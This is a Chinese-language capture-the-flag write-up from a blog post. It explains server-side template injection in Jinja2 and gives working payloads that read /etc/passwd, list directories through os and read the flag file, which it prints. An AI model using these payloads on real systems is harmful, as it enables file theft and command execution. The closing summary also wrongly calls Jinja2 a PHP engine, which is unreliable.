【愚公系列】2022年04月 攻防世界-进阶题-WEB-014(Web_python_template_injection)

举报
愚公搬代码 发表于 2022/04/30 20:55:52 2022/04/30
【摘要】 前言SSTI即(server-side template injection)服务器模板,平时我们常用的有sql注入,xss注入,xml注入和命令注入等等。大家应该都知道sql注入的原理以及方式,而模板注入的原理也很类似都是通过输入一些指令在后端处理进行了语句的拼接然后执行。模板注入不同的是它是针对python、php、java、nodejs、javascript或是ruby的网站处理框架...

前言

SSTI即(server-side template injection)服务器模板,平时我们常用的有sql注入,xss注入,xml注入和命令注入等等。大家应该都知道sql注入的原理以及方式,而模板注入的原理也很类似都是通过输入一些指令在后端处理进行了语句的拼接然后执行。模板注入不同的是它是针对python、php、java、nodejs、javascript或是ruby的网站处理框架。

在这里插入图片描述

一、Web_python_template_injection

题目链接:https://adworld.xctf.org.cn/task/task_list?type=web&number=3&grade=1

二、使用步骤

1.点击获取在线场景

在这里插入图片描述

2.场景分析

在Jinja2模板引擎中,{{}}是变量包裹标识符。{{}}并不仅仅可以传递变量,还可以执行一些简单的表达式

2.1 判断有无模板注入

http://111.200.241.244:51429/%7B%7B7+7%7D%7D

在这里插入图片描述

2.2 查看全局变量

{{config}}

在这里插入图片描述

2.3 寻找可用引用

文件包含:是通过python的对象的继承来一步步实现文件读取和命令执行的的。

几个魔术方法:

  • __class__ 返回类型所属的对象
  • __mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
  • __base__ 返回该对象所继承的基类 // __base__和__mro__都是用来寻找基类的
  • __subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
  • __init__ 类的初始化方法
  • __globals__ 对包含函数全局变量的字典的引用
{{''.__class__.__mro__[2].__subclasses__()}}

在这里插入图片描述
可以看到有一个type file类型(可以进行文件读取),而且位置在数组第40。

2.4 文件读取

{{ [].__class__.__base__.__subclasses__()[40]('/etc/passwd').read() }}

在这里插入图片描述

2.4 命令执行

可以看到有一个 <class ‘site._Printer’>类型(可以进行命令执行),而且位置在数组第71。

{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}

在这里插入图片描述

2.5 读取文件

{{''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read()}}

在这里插入图片描述

2.6 得到flag

flag:ctf{f22b6844-5169-4054-b2a0-d95b9361cb57}

总结

本文简单介绍服务端模版注入漏洞如常规 Web 注入漏洞之间的关系,分析了其产生的原理,并以 PHP 模板引擎 Jinja2 为例讲解了 SSTI 常规的扫描和检测方法。虽然说 SSTI 并不广泛存在,但如果开发人员滥用模板引擎,进行不安全的编码,这样 Web 应用就可能出现 SSTI,并且根据其模板引擎的复杂性和开发语言的特性,可能会造成非常严重的问题。

【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。